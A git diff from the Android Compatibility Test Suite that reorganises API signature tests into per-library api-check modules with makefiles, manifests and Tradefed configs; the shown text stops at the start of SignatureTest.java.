diff --git a/tests/signature/AndroidManifest.xml b/tests/signature/AndroidManifest.xml
deleted file mode 100644
index 41a4233..0000000
--- a/tests/signature/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts">
- <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
- <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-
- <application>
- <uses-library android:name="android.test.runner"/>
- </application>
-
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.signature.cts"
- android:label="API Signature Test"/>
-
-</manifest>
diff --git a/tests/signature/AndroidTest.xml b/tests/signature/AndroidTest.xml
deleted file mode 100644
index 0ca8ce2..0000000
--- a/tests/signature/AndroidTest.xml
+++ /dev/null
@@ -1,47 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CTS Signature test cases">
- <option name="config-descriptor:metadata" key="component" value="systems" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsSignatureTestCases" />
- <option name="version" value="1.0" />
- </target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
- <option name='run-command'
- value='pm list packages | while read a; do dumpsys package ${a#"package:"} > /data/local/tmp/signature-test-packages/${a#"package:"}.txt; done' />
- <option name="teardown-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
- </target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
- </target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsSignatureTestCases.apk" />
- </target_preparer>
- <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.signature.cts" />
- <option name="runtime-hint" value="7m11s" />
- </test>
-</configuration>
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
new file mode 100644
index 0000000..013cc4d
--- /dev/null
+++ b/tests/signature/api-check/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+# cts-api-signature-test java library
+# ===================================
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE := cts-api-signature-test
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ cts-signature-common \
+ repackaged-legacy-test \
+ repackaged.android.test.runner \
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.mk b/tests/signature/api-check/android-test-mock-current-api/Android.mk
new file mode 100644
index 0000000..b60f6a3
--- /dev/null
+++ b/tests/signature/api-check/android-test-mock-current-api/Android.mk
@@ -0,0 +1,24 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsAndroidTestMockCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+ android-test-mock-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
new file mode 100644
index 0000000..5c88521
--- /dev/null
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.android_test_mock_current">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <application>
+ <uses-library android:name="android.test.mock"/>
+ </application>
+
+ <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.android_test_mock_current"
+ android:label="Android Test Mock Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
new file mode 100644
index 0000000..16b29a8
--- /dev/null
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Android Test Mock Current API Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsAndroidTestMockCurrentApiSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.android_test_mock_current" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.api" />
+ <option name="runtime-hint" value="5s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.mk b/tests/signature/api-check/android-test-runner-current-api/Android.mk
new file mode 100644
index 0000000..d840506
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/Android.mk
@@ -0,0 +1,25 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsAndroidTestRunnerCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+ android-test-mock-current.api \
+ android-test-runner-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
new file mode 100644
index 0000000..61de501
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.android_test_runner_current">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <application>
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.android_test_runner_current"
+ android:label="Android Test Runner Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
new file mode 100644
index 0000000..ecf7055
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Android Test Runner Current API Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsAndroidTestRunnerCurrentApiSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.android_test_runner_current" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+ <option name="runtime-hint" value="5s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
new file mode 100644
index 0000000..df69004
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
@@ -0,0 +1,24 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsApacheHttpLegacyCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+ apache-http-legacy-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
new file mode 100644
index 0000000..eaf118b
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.apache_http_legacy_current">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <application/>
+
+ <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.apache_http_legacy_current"
+ android:label="Apache Http Legacy Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
new file mode 100644
index 0000000..a5e69a9
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Apache Http Legacy Current API Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="apache-http-legacy-current.api->/data/local/tmp/signature-test/apache-http-legacy-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsApacheHttpLegacyCurrentApiSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.apache_http_legacy_current" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api" />
+ <option name="runtime-hint" value="5s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api-check/build_signature_apk.mk b/tests/signature/api-check/build_signature_apk.mk
new file mode 100644
index 0000000..3b0afd2
--- /dev/null
+++ b/tests/signature/api-check/build_signature_apk.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Specify the following variables before including:
+#
+# LOCAL_PACKAGE_NAME
+# the name of the package
+#
+# LOCAL_SIGNATURE_API_FILES
+# the list of api files needed
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
+
+LOCAL_ADDITIONAL_DEPENDENCIES += \
+ $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(LOCAL_SIGNATURE_API_FILES))
+
+include $(BUILD_CTS_PACKAGE)
+
+LOCAL_SIGNATURE_API_FILES :=
diff --git a/tests/signature/api-check/current-api/Android.mk b/tests/signature/api-check/current-api/Android.mk
new file mode 100644
index 0000000..0e7997d
--- /dev/null
+++ b/tests/signature/api-check/current-api/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+ current.api \
+ android-test-mock-current.api \
+ android-test-runner-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/current-api/AndroidManifest.xml b/tests/signature/api-check/current-api/AndroidManifest.xml
new file mode 100644
index 0000000..7dc5730
--- /dev/null
+++ b/tests/signature/api-check/current-api/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.current">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <application/>
+
+ <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.current"
+ android:label="Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/current-api/AndroidTest.xml b/tests/signature/api-check/current-api/AndroidTest.xml
new file mode 100644
index 0000000..29dfe6d
--- /dev/null
+++ b/tests/signature/api-check/current-api/AndroidTest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Current API Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <option name="not-shardable" value="true" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsCurrentApiSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.current" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="instrumentation-arg" key="expected-api-files" value="current.api" />
+ <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+ <option name="runtime-hint" value="30s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api-check/legacy-test-26-api/Android.mk b/tests/signature/api-check/legacy-test-26-api/Android.mk
new file mode 100644
index 0000000..699bd0c
--- /dev/null
+++ b/tests/signature/api-check/legacy-test-26-api/Android.mk
@@ -0,0 +1,24 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLegacyTest26ApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+ legacy-test-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml b/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml
new file mode 100644
index 0000000..636dfd3
--- /dev/null
+++ b/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.legacy_test_26">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="26"/>
+
+ <application/>
+
+ <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.legacy_test_26"
+ android:label="Legacy Test 26 API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml b/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml
new file mode 100644
index 0000000..ecb3299
--- /dev/null
+++ b/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Legacy Test 26 API Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="legacy-test-current.api->/data/local/tmp/signature-test/legacy-test-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsLegacyTest26ApiSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.legacy_test_26" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="instrumentation-arg" key="expected-api-files" value="legacy-test-current.api" />
+ <option name="runtime-hint" value="5s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
new file mode 100644
index 0000000..3473cfd
--- /dev/null
+++ b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api;
+
+import android.os.Bundle;
+import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.ApiComplianceChecker;
+import android.signature.cts.FailureType;
+import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.ReflectionHelper;
+import android.signature.cts.ResultObserver;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.Comparator;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.TreeSet;
+import org.xmlpull.v1.XmlPullParserException;
+import repackaged.android.test.InstrumentationTestCase;
+import repackaged.android.test.InstrumentationTestRunner;
+
+import static android.signature.cts.CurrentApi.API_FILE_DIRECTORY;
+
+/**
+ * Performs the signature check via a JUnit test.
+ */
+public class SignatureTest extends InstrumentationTestCase {
+
